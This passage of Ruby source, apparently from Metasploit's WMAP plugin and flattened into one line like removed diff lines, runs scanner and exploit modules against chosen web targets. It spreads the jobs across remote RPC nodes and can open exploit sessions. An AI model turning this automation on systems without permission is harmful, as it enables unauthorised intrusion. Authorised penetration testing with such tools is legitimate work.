else - print_error("Unknown flag") - return - end - end - - if (self.rpcarr.length == 0) and (mode & wmap_show == 0) - print_error("NO WMAP NODES DEFINED. Executing local modules") - self.runlocal = true - end - - if self.targets == nil - print_error("Targets have not been selected.") - return - end - - if self.targets.keys.length == 0 - print_error("Targets have not been selected.") - return - end - - execmod = true - if (mode & wmap_show != 0) - execmod = false - end - - self.targets.each_with_index do |t, idx| - - selected_host = t[1][:host] - selected_port = t[1][:port] - selected_ssl = t[1][:ssl] - selected_vhost = t[1][:vhost] - - print_status ("Testing target:") - print_status ("\tSite: #{selected_vhost} (#{selected_host})") - print_status ("\tPort: #{selected_port} SSL: #{selected_ssl}") - print_line '='* sizeline - print_status("Testing started. #{(Time.now )}") - - if not selected_ssl - run_wmap_ssl = false - #print_status ("Target is not SSL. SSL modules disabled.") - end - - # wmap_dir, wmap_file - matches = Hash.new() - - # wmap_server - matches1 = Hash.new() - - # wmap_query - matches2 = Hash.new() - - # wmap_ssl - matches3 = Hash.new() - - # wmap_unique_query - matches5 = Hash.new() - - # wmap_generic - matches10 = Hash.new() - - # OPTIONS - opt_str = nil - jobify = false - - # This will be clean later - load_wmap_modules(false) - - self.wmapmodules.each do |w| - case w[2] - when :wmap_server - if run_wmap_server - matches1[w]=true - end - when :wmap_query - if run_wmap_query - matches2[w]=true - end - when :wmap_unique_query - if run_wmap_unique_query - matches5[w]=true - end - when :wmap_generic - if run_wmap_generic - matches10[w]=true - end - when :wmap_dir, :wmap_file - if run_wmap_dir_file - matches[w]=true - end - when :wmap_ssl - if run_wmap_ssl - matches3[w]=true - end - else - # Black Hole - end - end - - # Execution order (orderid) - matches = sort_by_orderid(matches) - matches1 = sort_by_orderid(matches1) - matches2 = sort_by_orderid(matches2) - matches3 = sort_by_orderid(matches3) - matches5 = sort_by_orderid(matches5) - matches10 = sort_by_orderid(matches10) - - # - # Handle modules that need to be run before all tests IF SERVER is SSL, once usually again the SSL web server. - # :wmap_ssl - # - - print_status "\n=[ SSL testing ]=" - print_line "=" * sizeline - - if not selected_ssl - print_status ("Target is not SSL. SSL modules disabled.") - end - - idx = 0 - matches3.each_key do |xref| - if self.masstop - print_error("STOPPED.") - return - end - - # Module not part of profile or not match - if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) - idx += 1 - - begin - # Module options hash - modopts = Hash.new() - - # - # The code is just a proof-of-concept and will be expanded in the future - # - print_status "Module #{xref[0]}" - - if (mode & wmap_expl != 0) - - # - # For modules to have access to the global datastore - # i.e. set -g DOMAIN test.com - # - self.framework.datastore.each do |gkey,gval| - modopts[gkey]=gval - end - - # - # Parameters passed in hash xref - # - modopts['RHOST'] = selected_host - modopts['RHOSTS'] = selected_host - modopts['RPORT'] = selected_port.to_s - modopts['SSL'] = selected_ssl - modopts['VHOST'] = selected_vhost.to_s - modopts['VERBOSE'] = moduleverbose - modopts['ShowProgress'] = showprogress - modopts['RunAsJob'] = jobify - - begin - if execmod - rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) - end - rescue ::Exception - print_status(" >> Exception during launch from #{xref[0]}: #{$!}") - end - end - - rescue ::Exception - print_status(" >> Exception from #{xref[0]}: #{$!}") - end - end - end - - # - # Handle modules that need to be run before all tests, once usually again the web server. - # :wmap_server - # - print_status "\n=[ Web Server testing ]=" - print_line "=" * sizeline - - idx = 0 - matches1.each_key do |xref| - - if self.masstop - print_error("STOPPED.") - return - end - - # Module not part of profile or not match - if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) - idx += 1 - - begin - # Module options hash - modopts = Hash.new() - - # - # The code is just a proof-of-concept and will be expanded in the future - # - - print_status "Module #{xref[0]}" - - if (mode & wmap_expl != 0) - - # - # For modules to have access to the global datastore - # i.e. set -g DOMAIN test.com - # - self.framework.datastore.each do |gkey,gval| - modopts[gkey]=gval - end - - # - # Parameters passed in hash xref - # - modopts['RHOST'] = selected_host - modopts['RHOSTS'] = selected_host - modopts['RPORT'] = selected_port.to_s - modopts['SSL'] = selected_ssl - modopts['VHOST'] = selected_vhost.to_s - modopts['VERBOSE'] = moduleverbose - modopts['ShowProgress'] = showprogress - modopts['RunAsJob'] = jobify - - begin - if execmod - rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) - end - rescue ::Exception - print_status(" >> Exception during launch from #{xref[0]}: #{$!}") - end - end - - rescue ::Exception - print_status(" >> Exception from #{xref[0]}: #{$!}") - end - end - end - - # - # Handle modules to be run at every path/file - # wmap_dir, wmap_file - # - print_status "\n=[ File/Dir testing ]=" - print_line "=" * sizeline - - idx = 0 - matches.each_key do |xref| - - if self.masstop - print_error("STOPPED.") - return - end - - # Module not part of profile or not match - if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) - idx+=1 - - begin - # Module options hash - modopts = Hash.new() - - # - # The code is just a proof-of-concept and will be expanded in the future - # - - print_status "Module #{xref[0]}" - - if (mode & wmap_expl != 0) - # - # For modules to have access to the global datastore - # i.e. set -g DOMAIN test.com - # - self.framework.datastore.each do |gkey,gval| - modopts[gkey]=gval - end - - # - # Parameters passed in hash xref - # - modopts['RHOST'] = selected_host - modopts['RHOSTS'] = selected_host - modopts['RPORT'] = selected_port.to_s - modopts['SSL'] = selected_ssl - modopts['VHOST'] = selected_vhost.to_s - modopts['VERBOSE'] = moduleverbose - modopts['ShowProgress'] = showprogress - modopts['RunAsJob'] = jobify - - # - # Run the plugins that only need to be - # launched once. - # - - wtype = xref[2] - - h = self.framework.db.workspace.hosts.find_by_address(selected_host) - s = h.services.find_by_port(selected_port) - w = s.web_sites.find_by_vhost(selected_vhost) - - test_tree = load_tree(w) - test_tree.each do |node| - - if self.masstop - print_error("STOPPED.") - return - end - - p = node.current_path - testpath = Pathname.new(p) - strpath = testpath.cleanpath(false).to_s - - # - # Fixing paths - # - - if node.is_leaf? and not node.is_root? - # - # Later we can add here more checks to see if its a file - # - else - if node.is_root? - strpath = "/" - else - strpath = strpath.chomp + "/" - end - end - - strpath = strpath.gsub("//", "/") - #print_status("Testing path: #{strpath}") - - # - # Launch plugin depending module type. - # Module type depends on main input type. - # Code may be the same but it depend on final - # versions of plugins - # - - case wtype - when :wmap_file - if node.is_leaf? and not node.is_root? - # - # Check if an exclusion regex has been defined - # - if self.framework.datastore['WMAP_EXCLUDE'] - excludefilestr = self.framework.datastore['WMAP_EXCLUDE'] - else - excludefilestr = wmap_exclude_files - end - - if not strpath.match(excludefilestr) - if (not usinginipath) or (usinginipath and strpath.match(inipathname)) - modopts['PATH'] = strpath - print_status("Path: #{strpath}") - - begin - if execmod - rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) - end - rescue ::Exception - print_status(" >> Exception during launch from #{xref[0]}: #{$!}") - end - end - end - end - when :wmap_dir - if (node.is_leaf? and not strpath.include? ".") or node.is_root? or not node.is_leaf? - if (not usinginipath) or (usinginipath and strpath.match(inipathname)) - - modopts['PATH'] = strpath - print_status("Path: #{strpath}") - - begin - if execmod - rpcnode = rpc_round_exec(xref[0],xref[1], modopts, njobs) - end - rescue ::Exception - print_status(" >> Exception during launch from #{xref[0]}: #{$!}") - end - end - end - end - end - end - rescue ::Exception - print_status(" >> Exception from #{xref[0]}: #{$!}") - end - end - end - - # - # Run modules for each request to play with URI with UNIQUE query parameters. - # wmap_unique_query - # - print_status "\n=[ Unique Query testing ]=" - print_line "=" * sizeline - - idx = 0 - matches5.each_key do |xref| - - if self.masstop - print_error("STOPPED.") - return - end - - # Module not part of profile or not match - if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) - idx += 1 - - begin - # Module options hash - modopts = Hash.new() - - # - # The code is just a proof-of-concept and will be expanded in the future - # - - print_status "Module #{xref[0]}" - - if (mode & wmap_expl != 0) - # - # For modules to have access to the global datastore - # i.e. set -g DOMAIN test.com - # - self.framework.datastore.each do |gkey,gval| - modopts[gkey]=gval - end - - # - # Parameters passed in hash xref - # - - modopts['RHOST'] = selected_host - modopts['RHOSTS'] = selected_host - modopts['RPORT'] = selected_port.to_s - modopts['SSL'] = selected_ssl - modopts['VHOST'] = selected_vhost.to_s - modopts['VERBOSE'] = moduleverbose - modopts['ShowProgress'] = showprogress - modopts['RunAsJob'] = jobify - - # - # Run the plugins for each request that have a distinct - # GET/POST URI QUERY string. - # - - utest_query = Hash.new() - - h = self.framework.db.workspace.hosts.find_by_address(selected_host) - s = h.services.find_by_port(selected_port) - w = s.web_sites.find_by_vhost(selected_vhost) - - w.web_forms.each do |form| - - if self.masstop - print_error("STOPPED.") - return - end - - # - # Only test unique query strings by comparing signature to previous tested signatures 'path,p1,p2,pn' - # - - datastr = "" - typestr = "" - - temparr = [] - - #print_status "---------" - #print_status form.params - #print_status "+++++++++" - - form.params.each do |p| - pn, pv, pt = p - if pn - if not pn.empty? - if not pv or pv.empty? - #TODO add value based on param name - pv = "aaa" - end - - #temparr << pn.to_s + "=" + Rex::Text.uri_encode(pv.to_s) - temparr << pn.to_s + "=" + pv.to_s - end - else - print_error("Blank parameter name. Form #{form.path}") - end - end - - datastr = temparr.join("&") if (temparr and not temparr.empty?) - - if (utest_query.has_key?(signature(form.path,datastr)) == false) - - modopts['METHOD'] = form.method.upcase - modopts['PATH'] = form.path - modopts['QUERY'] = form.query - if form.method.upcase == 'GET' - modopts['QUERY'] = datastr - modopts['DATA'] = "" - end - if form.method.upcase == 'POST' - modopts['DATA'] = datastr - end - modopts['TYPES'] = typestr - - # - # TODO: Add headers, etc. - # - if (not usinginipath) or (usinginipath and form.path.match(inipathname)) - - print_status "Path #{form.path}" - #print_status("Unique PATH #{modopts['PATH']}") - #print_status("Unique GET #{modopts['QUERY']}") - #print_status("Unique POST #{modopts['DATA']}") - #print_status("MODOPTS: #{modopts}") - - begin - if execmod - rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) - end - utest_query[signature(form.path,datastr)]=1 - rescue ::Exception - print_status(" >> Exception during launch from #{xref[0]}: #{$!}") - end - end - else - #print_status("Already tested") - end - end - end - - rescue ::Exception - print_status(" >> Exception from #{xref[0]}: #{$!}") - end - end - end - - # - # Run modules for each request to play with URI query parameters. - # This approach will reduce the complexity of the Tree used before - # and will make this shotgun implementation much simple. - # wmap_query - # - print_status "\n=[ Query testing ]=" - print_line "=" * sizeline - - idx = 0 - matches2.each_key do |xref| - - if self.masstop - print_error("STOPPED.") - return - end - - # Module not part of profile or not match - if not ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) - idx += 1 - - begin - # Module options hash - modopts = Hash.new() - - # - # The code is just a proof-of-concept and will be expanded in the future - # - - print_status "Module #{xref[0]}" - - if (mode & wmap_expl != 0) - - # - # For modules to have access to the global datastore - # i.e. set -g DOMAIN test.com - # - self.framework.datastore.each do |gkey,gval| - modopts[gkey]=gval - end - - # - # Parameters passed in hash xref - # - - modopts['RHOST'] = selected_host - modopts['RHOSTS'] = selected_host - modopts['RPORT'] = selected_port.to_s - modopts['SSL'] = selected_ssl - modopts['VHOST'] = selected_vhost.to_s - modopts['VERBOSE'] = moduleverbose - modopts['ShowProgress'] = showprogress - modopts['RunAsJob'] = jobify - - # - # Run the plugins for each request that have a distinct - # GET/POST URI QUERY string. - # - - h = self.framework.db.workspace.hosts.find_by_address(selected_host) - s = h.services.find_by_port(selected_port) - w = s.web_sites.find_by_vhost(selected_vhost) - - w.web_forms.each do |req| - - if self.masstop - print_error("STOPPED.") - return - end - - datastr = "" - typestr = "" - - temparr = [] - - req.params.each do |p| - pn, pv, pt = p - if pn - if not pn.empty? - if not pv or pv.empty? - #TODO add value based on param name - pv = "aaa" - end - #temparr << pn.to_s + "=" + Rex::Text.uri_encode(pv.to_s) - temparr << pn.to_s + "=" + pv.to_s - end - else - print_error("Blank parameter name. Form #{req.path}") - end - end - - datastr = temparr.join("&") if (temparr and not temparr.empty?) - - modopts['METHOD'] = req.method.upcase - modopts['PATH'] = req.path - if req.method.upcase == 'GET' - modopts['QUERY'] = datastr - modopts['DATA'] = "" - end - modopts['DATA'] = datastr if req.method.upcase == 'POST' - modopts['TYPES'] = typestr - - # - # TODO: Add method, headers, etc. - # - if (not usinginipath) or (usinginipath and req.path.match(inipathname)) - - print_status "Path #{req.path}" - #print_status("Query PATH #{modopts['PATH']}") - #print_status("Query GET #{modopts['QUERY']}") - #print_status("Query POST #{modopts['DATA']}") - #print_status("Query TYPES #{typestr}") - - begin - if execmod - rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) - end - rescue ::Exception - print_status(" >> Exception during launch from #{xref[0]}: #{$!}") - end - end - end - end - - rescue ::Exception - print_status(" >> Exception from #{xref[0]}: #{$!}") - end - end - end - - # - # Handle modules that need to be after all tests, once. - # Good place to have modules that analize the test results and/or - # launch exploits. - # :wmap_generic - # - print_status "\n=[ General testing ]=" - print_line "=" * sizeline - - idx = 0 - matches10.each_key do |xref| - - if self.masstop - print_error("STOPPED.") - return - end - - # Module not part of profile or not match - if not ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) - idx += 1 - - - begin - # Module options hash - modopts = Hash.new() - - # - # The code is just a proof-of-concept and will be expanded in the future - # - - print_status "Module #{xref[0]}" - - if (mode & wmap_expl != 0) - - # - # For modules to have access to the global datastore - # i.e. set -g DOMAIN test.com - # - self.framework.datastore.each do |gkey,gval| - modopts[gkey]=gval - end - - # - # Parameters passed in hash xref - # - - modopts['RHOST'] = selected_host - modopts['RHOSTS'] = selected_host - modopts['RPORT'] = selected_port.to_s - modopts['SSL'] = selected_ssl - modopts['VHOST'] = selected_vhost.to_s - modopts['VERBOSE'] = moduleverbose - modopts['ShowProgress'] = showprogress - modopts['RunAsJob'] = jobify - - # - # Run the plugins that only need to be - # launched once. - # - - begin - if execmod - rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) - end - rescue ::Exception - print_status(" >> Exception during launch from #{xref[0]}: #{$!}") - end - end - - rescue ::Exception - print_status(" >> Exception from #{xref[0]}: #{$!}") - end - end - end - - - if (mode & wmap_expl != 0) - print_line "+" * sizeline - - if not self.runlocal - if execmod - rpc_list_nodes() - print_status("Note: Use wmap_nodes -l to list node status for completion") - end - end - - print_line("Launch completed in #{(Time.now.to_f - stamp)} seconds.") - print_line "+" * sizeline - end - - print_status("Done.") - end - - # EOM - end - - def view_targets - if self.targets == nil or self.targets.keys.length == 0 - print_status "No targets have been defined" - return - end - - indent = ' ' - - tbl = Rex::Ui::Text::Table.new( - 'Indent' => indent.length, - 'Header' => 'Defined targets', - 'Columns' => - [ - 'Id', - 'Vhost', - 'Host', - 'Port', - 'SSL', - 'Path', - ]) - - self.targets.each_with_index { |t, idx| - tbl << [ idx.to_s, t[1][:vhost], t[1][:host], t[1][:port], t[1][:ssl], "\t"+t[1][:path].to_s ] - } - - print_status tbl.to_s + "\n" - end - - def delete_sites(wmap_index) - idx = 0 - to_del = {} - # Rebuild the index from wmap_sites -l - self.framework.db.hosts.each do |bdhost| - bdhost.services.each do |serv| - serv.web_sites.each do |web| - # If the index of this site matches any deletion index, - # add to our hash, saving the index for later output - to_del[idx] = web if wmap_index.any? {|w| w.to_i == idx} - idx += 1 - end - end - end - to_del.each do |widx,wsite| - if wsite.delete - print_status("Deleted #{wsite.vhost} on #{wsite.service.host.address} at index #{widx}") - else - print_error("Could note delete {wsite.vhost} on #{wsite.service.host.address} at index #{widx}") - end - end - end - - - def view_sites - # Clean temporary sites list - self.lastsites = [] - - indent = ' ' - - tbl = Rex::Ui::Text::Table.new( - 'Indent' => indent.length, - 'Header' => 'Available sites', - 'Columns' => - [ - 'Id', - 'Host', - 'Vhost', - 'Port', - 'Proto', - '# Pages', - '# Forms', - ]) - - idx = 0 - self.framework.db.hosts.each do |bdhost| - bdhost.services.each do |serv| - serv.web_sites.each do |web| - c = web.web_pages.count - f = web.web_forms.count - tbl << [ idx.to_s, bdhost.address, web.vhost, serv.port, serv.name, c.to_s, f.to_s ] - idx += 1 - - turl = web.vhost + "," + serv.name + "://" +bdhost.address.to_s + ":" + serv.port.to_s + "/" - self.lastsites << turl - end - end - end - - print_status tbl.to_s + "\n" - - end - - # Reusing code from hdmoore - # - # Allow the URL to be supplied as VHOST,URL if a custom VHOST - # should be used. This allows for things like: - # localhost,http://192.168.0.2/admin/ - - def add_web_site(url) - - vhost = nil - - # Allow the URL to be supplied as VHOST,URL if a custom VHOST - # should be used. This allows for things like: - # localhost,http://192.168.0.2/admin/ - - if url !~ /^http/ - vhost,url = url.split(",", 2) - if url.to_s.empty? - url = vhost - vhost = nil - end - end - - # Prefix http:// when the URL has no specified parameter - if url !~ /^[a-z0-9A-Z]+:\/\// - url = "http://" + url - end - - uri = URI.parse(url) rescue nil - if not uri - print_error("Could not understand URL: #{url}") - return - end - - if uri.scheme !~ /^https?/ - print_error("Only http and https URLs are accepted: #{url}") - return - end - - ssl = false - if uri.scheme == 'https' - ssl = true - end - - site = self.framework.db.report_web_site(:wait => true, :host => uri.host, :port => uri.port, :vhost => vhost, :ssl => ssl) - - return site - end - - # Code by hdm. Modified two lines by et - # - def process_urls(urlstr) - - target_whitelist = [] - - urls = urlstr.to_s.split(/\s+/) - - - urls.each do |url| - next if url.to_s.strip.empty? - vhost = nil - - # Allow the URL to be supplied as VHOST,URL if a custom VHOST - # should be used. This allows for things like: - # localhost,http://192.168.0.2/admin/ - - if url !~ /^http/ - vhost,url = url.split(",", 2) - if url.to_s.empty? - url = vhost - vhost = nil - end - end - - # Prefix http:// when the URL has no specified parameter - if url !~ /^[a-z0-9A-Z]+:\/\// - url = "http://" + url - end - - uri = URI.parse(url) rescue nil - if not uri - print_error("Could not understand URL: #{url}") - next - end - - if uri.scheme !~ /^https?/ - print_error("Only http and https URLs are accepted: #{url}") - next - end - - target_whitelist << [vhost || uri.host, uri] - end - - # Skip the DB entirely if no matches - return if target_whitelist.length == 0 - - if not self.targets - # First time targets are defined - self.targets = Hash.new() - end - - target_whitelist.each do |ent| - vhost,target = ent - - host = self.framework.db.workspace.hosts.find_by_address(target.host) - if not host - print_error("No matching host for #{target.host}") - next - end - serv = host.services.find_by_port_and_proto(target.port, 'tcp') - if not serv - print_error("No matching service for #{target.host}:#{target.port}") - next - end - - #print_status "aaa" - #print_status framework.db.workspace.name - - sites = serv.web_sites.where('vhost = ? and service_id = ?', vhost, serv.id) - - sites.each do |site| - # Initial defaul path - inipath = target.path - if target.path.empty? - inipath = '/' - end - - #site.web_forms.find_all_by_path(target.path).each do |form| - ckey = [ site.vhost, host.address, serv.port, inipath].join("|") - - if not self.targets[ckey] - self.targets[ckey] = WebTarget.new - self.targets[ckey].merge!({ - :vhost => site.vhost, - :host => host.address, - :port => serv.port, - :ssl => (serv.name == "https"), - :path => inipath - }) - #self.targets[ckey][inipath] = [] - else - print_status("Target already set in targets list.") - end - - # Store the form object in the hash for this path - #self.targets[ckey][inipath] << inipath - #end - end - end - end - - # Code by hdm. Modified two lines by et - # lastsites contains a temporary array with vhost,url strings so the id can be - # referenced in the array and prevent new sites added in the db to corrupt previous id list. - def process_ids(idsstr) - - if !self.lastsites or self.lastsites.length == 0 - view_sites - print_status ("Web sites ids. referenced from previous table.") - end - - target_whitelist = [] - ids = idsstr.to_s.split(/,/) - - ids.each do |id| - next if id.to_s.strip.empty? - - if id.to_i > self.lastsites.length - print_error("Skipping id #{id}...") - else - target_whitelist << self.lastsites[id.to_i] - print_status("Loading #{self.lastsites[id.to_i]}.") - end - end - - # Skip the DB entirely if no matches - return if target_whitelist.length == 0 - - if not self.targets - self.targets = Hash.new() - end - - target_whitelist.each do |ent| - process_urls(ent) - end - end - - def view_site_tree(urlstr, md, ld) - if not urlstr - return - end - - site_whitelist = [] - - urls = urlstr.to_s.split(/\s+/) - - urls.each do |url| - next if url.to_s.strip.empty? - vhost = nil - - # Allow the URL to be supplied as VHOST,URL if a custom VHOST - # should be used. This allows for things like: - # localhost,http://192.168.0.2/admin/ - - if url !~ /^http/ - vhost,url = url.split(",", 2) - - if url.to_s.empty? - url = vhost - vhost = nil - end - end - - # Prefix http:// when the URL has no specified parameter - if url !~ /^[a-z0-9A-Z]+:\/\// - url = "http://" + url - end - - uri = URI.parse(url) rescue nil - if not uri - print_error("Could not understand URL: #{url}") - next - end - - if uri.scheme !~ /^https?/ - print_error("Only http and https URLs are accepted: #{url}") - next - end - - site_whitelist << [vhost || uri.host, uri] - end - - # Skip the DB entirely if no matches - return if site_whitelist.length == 0 - - vsites = Hash.new() - - site_whitelist.each do |ent| - vhost,target = ent - - host = self.framework.db.workspace.hosts.find_by_address(target.host) - if not host - print_error("No matching host for #{target.host}") - next - end - serv = host.services.find_by_port_and_proto(target.port, 'tcp') - if not serv - print_error("No matching service for #{target.host}:#{target.port}") - next - end - - sites = serv.web_sites.where('vhost = ? and service_id = ?', vhost, serv.id) - - sites.each do |site| - t = load_tree(site) - print_tree(t,target.host,md,ld) - print_line("\n") - end - end - end - - # - # Load website structure into a tree - # - - def load_tree(s) - - pathchr = '/' - - wtree = Tree.new(s.vhost) - - # Load site pages - s.web_pages.find(:all, :order => 'path').each do |req| - tarray = req.path.to_s.split(pathchr) - tarray.delete("") - tpath = Pathname.new(pathchr) - tarray.each do |df| - wtree.add_at_path(tpath.to_s,df) - tpath = tpath + Pathname.new(df.to_s) - end - end - - # Load site forms - s.web_forms.each do |req| - tarray = req.path.to_s.split(pathchr) - tarray.delete("") - tpath = Pathname.new(pathchr) - tarray.each do |df| - wtree.add_at_path(tpath.to_s,df) - tpath = tpath + Pathname.new(df.to_s) - end - end - - return wtree - end - - # - # Print Tree structure. Still ugly - # - - def print_tree(tree, ip, maxlevel, limitlevel) - initab = " " * 4 - indent = 6 - if tree != nil and tree.depth <= maxlevel - print initab + (" " * indent * tree.depth) - if tree.depth > 0 - print "|"+("-" * (indent-1))+"/" - end - if tree.depth >= 0 - if tree.depth == 0 - print "[#{tree.name}] (#{ip})\n"+initab+(" " * indent)+"\n" - - else - c = tree.children.count - if c > 0 - print tree.name + " (" + c.to_s+")\n" - else - print tree.name + "\n" - end - end - end - - tree.children.each_pair do |name,child| - print_tree(child,ip,maxlevel,limitlevel) - end - - end - end - - def signature(fpath,fquery) - hsig = Hash.new() - - hsig = queryparse(fquery) - - # - # Signature of the form ',p1,p2,pn' then to be appended to path: path,p1,p2,pn - # - - sigstr = fpath + "," + hsig.map{|p| p[0].to_s}.join(",") - end - - def queryparse(query) - params = Hash.new() - - query.split(/[&;]/n).each do |pairs| - key, value = pairs.split('=',2) - if params.has_key?(key) - #Error - else - params[key] = value - end - end - params - end - - def rpc_add_node(host,port,ssl,user,pass,bypass_exist) - - if not self.rpcarr - self.rpcarr = Hash.new() - end - - begin - istr = "#{host}|#{port}|#{ssl}|#{user}|#{pass}" - if self.rpcarr.has_key?(istr) and not bypass_exist and self.rpcarr[istr] != nil - print_error("Connection already exists #{istr}") - else - begin - temprpc = ::Msf::RPC::Client.new( - :host => host, - :port => port, - :ssl => ssl - ) - rescue - print_error "Unable to connect" - #raise ConnectionError - return - end - - res = temprpc.login( user , pass) - - if not res - print_error("Unable to authenticate to #{host}:#{port}.") - return - else - res = temprpc.call('core.version') - end - - print_status("Connected to #{host}:#{port} [#{res['version']}].") - self.rpcarr[istr] = temprpc - end - rescue - print_error("Unable to connect") - end - end - - def local_module_exec(mod,mtype, opts, nmaxjobs) - jobify = false - - modinst = framework.modules.create(mod) - - if(not modinst) - print_error("Unknown module") - return - end - - sess = nil - - case mtype - when 'auxiliary' - Msf::Simple::Auxiliary.run_simple(modinst, { - 'Action' => opts['ACTION'], - 'LocalOutput' => driver.output, - 'RunAsJob' => jobify, - 'Options' => opts - }) - when 'exploit' - if not opts['PAYLOAD'] - opts['PAYLOAD'] = WmapCommandDispatcher::Exploit.choose_payload(modinst, opts['TARGET']) - end - - sess = Msf::Simple::Exploit.exploit_simple(modinst, { - 'Payload' => opts['PAYLOAD'], - 'Target' => opts['TARGET'], - 'LocalOutput' => driver.output, - 'RunAsJob' => jobify, - 'Options' => opts - }) - else - print_error("Wrong mtype.") - end - - if sess - if (jobify == false and sess.interactive?) - print_line - driver.run_single("sessions -q -i #{sess.sid}") - else - print_status("Session #{sess.sid} created in the background.") - end - end - end - - def rpc_round_exec(mod,mtype, opts, nmaxjobs) - - res = nil - idx = 0 - - if active_rpc_nodes == 0 - if not self.runlocal - print_error("All active nodes not working or removed") - return - end - res = true - else - rpc_reconnect_nodes() - end - - if self.masstop - return - end - - while not res - if active_rpc_nodes == 0 - print_error("All active nodes not working or removed") - return - end - - #find the node with less jobs load. - minjobs = nmaxjobs - minconn = nil - nid = 0 - self.rpcarr.each do |k,rpccon| - if not rpccon - print_error("Skipping inactive node #{nid} #{k}") - else - begin - currentjobs = rpccon.call('job.list').length - - if currentjobs < minjobs - minconn = rpccon - minjobs = currentjobs - end - - if currentjobs == nmaxjobs - if self.nmaxdisplay == false - print_error("Node #{nid} reached max number of jobs #{nmaxjobs}") - print_error("Waiting for available node/slot...") - self.nmaxdisplay = true - end - end - #print_status("Node #{nid} #currentjobs #{currentjobs} #min #{minjobs}") - rescue - print_error("Unable to connect. Node #{tarr[0]}:#{tarr[1]}") - self.rpcarr[k]=nil - - if active_rpc_nodes == 0 - print_error("All active nodes ,not working or removed") - return - else - print_error("Sending job to next node") - next - end - end - end - nid += 1 - end - - if minjobs < nmaxjobs - res=minconn.call('module.execute', mtype, mod, opts) - self.nmaxdisplay = false - #print_status(">>>#{res} #{mod}") - - if res - if res.has_key?("job_id") - return - else - print_error("Unable to execute module in node #{k} #{res}") - end - end - else - #print_status("Max number of jobs #{nmaxjobs} reached in node #{k}") - end - - idx += 1 - end - - if self.runlocal and not self.masstop - local_module_exec(mod,mtype, opts, nmaxjobs) - end - end - - def rpc_db_nodes(host,port,user,pass,name) - rpc_reconnect_nodes() - - if active_rpc_nodes == 0 - print_error("No active nodes at this time") - return - end - - self.rpcarr.each do |k,v| - if v - res = v.call('db.driver',{:driver => 'postgresql'}) - res = v.call('db.connect',{:database => name, :host => host, :port => port, :username => user, :password => pass}) - res = v.call('db.status') - - if res['db'] == name - print_status("db_connect #{res} #{host}:#{port} OK") - else - print_error("Error db_connect #{res} #{host}:#{port}") - end - else - print_error("No connection to node #{k}") - end - end - end - - def rpc_reconnect_nodes() - begin - # Sucky 5 mins token timeout. - - idx = nil - self.rpcarr.each do |k,rpccon| - if rpccon - idx = k - begin - currentjobs = rpccon.call('job.list').length - rescue - tarr = k.split("|") - rflag = false - - res = rpccon.login(tarr[3],tarr[4]) - - if res - rflag = true - print_error("Reauth to node #{tarr[0]}:#{tarr[1]}") - break - else - raise ConnectionError - end - end - end - end - rescue - print_error("ERROR CONNECTING TO NODE. Disabling #{idx} use wmap_nodes -a to reconnect") - self.rpcarr[idx] = nil - if active_rpc_nodes == 0 - print_error("No active nodes") - self.masstop = true - else - #blah - end - end - end - - def rpc_kill_node(i,j) - - if not i - print_error("Nodes not defined") - return - end - - if not j - print_error("Node jobs defined") - return - end - - rpc_reconnect_nodes() - - if active_rpc_nodes == 0 - print_error("No active nodes at this time") - return - end - - idx=0 - self.rpcarr.each do |k,rpccon| - if idx == i.to_i or i.upcase == 'ALL' - #begin - if not rpccon - print_error("No connection to node #{idx}") - else - n = rpccon.call('job.list') - n.each do |id,name| - if j==id.to_s or j.upcase == 'ALL' - rpccon.call('job.stop',id) - print_status("Node #{idx} Killed job id #{id} #{name}") - end - end - end - #rescue - # print_error("No connection") - #end - end - idx += 1 - end - end - - def rpc_view_jobs() - indent = ' ' - - rpc_reconnect_nodes() - - if active_rpc_nodes == 0 - print_error("No active nodes at this time") - return - end - - idx=0 - self.rpcarr.each do |k,rpccon| - if not rpccon - print_status("[Node ##{idx}: #{k} DISABLED/NO CONNECTION]") - else - - arrk = k.split('|') - print_status("[Node ##{idx}: #{arrk[0]} Port:#{arrk[1]} SSL:#{arrk[2]} User:#{arrk[3]}]") - - begin - n = rpccon.call('job.list') - - tbl = Rex::Ui::Text::Table.new( - 'Indent' => indent.length, - 'Header' => 'Jobs', - 'Columns' => - [ - 'Id', - 'Job name', - 'Target', - 'PATH', - ]) - - n.each do |id,name| - jinfo = rpccon.call('job.info',id) - dstore = jinfo['datastore'] - tbl << [ id.to_s, name,dstore['VHOST']+":"+dstore['RPORT'],dstore['PATH']] - end - - print_status tbl.to_s + "\n" - - rescue - print_status("[Node ##{idx} #{k} DISABLED/NO CONNECTION]") - end - end - idx += 1 - end - end - - - # Modified from http://stackoverflow.com/questions/946738/detect-key-press-non-blocking-w-o-getc-gets-in-ruby - def quit? - begin - while c = driver.input.read_nonblock(1) - print_status("Quited") - return true if c == 'Q' - end - false - rescue Errno::EINTR - false - rescue Errno::EAGAIN - false - rescue EOFError - true - end - end - - def rpc_mon_nodes() - # Pretty monitor - - color = self.opts["ConsoleDriver"].output.supports_color? rescue false - - colors = [ - '%grn', - '%blu', - '%yel', - '%whi' - ] - - #begin - loop do - rpc_reconnect_nodes() - - idx = 0 - self.rpcarr.each do |k,rpccon| - - arrk = k.split('|') - - v = "NOCONN" - n = 1 - c = '%red' - - if not rpccon - v = "NOCONN" - n = 1 - c = '%red' - else - begin - v = "" - c = '%blu' - rescue - v = "ERROR" - c = '%red' - end - - begin - n = rpccon.call('job.list').length - c = '%blu' - rescue - n = 1 - v = "NOCONN" - c = '%red' - end - end - - #begin - if not @stdio - @stdio = Rex::Ui::Text::Output::Stdio.new - end - - if color == true - @stdio.auto_color - else - @stdio.disable_color - end - msg 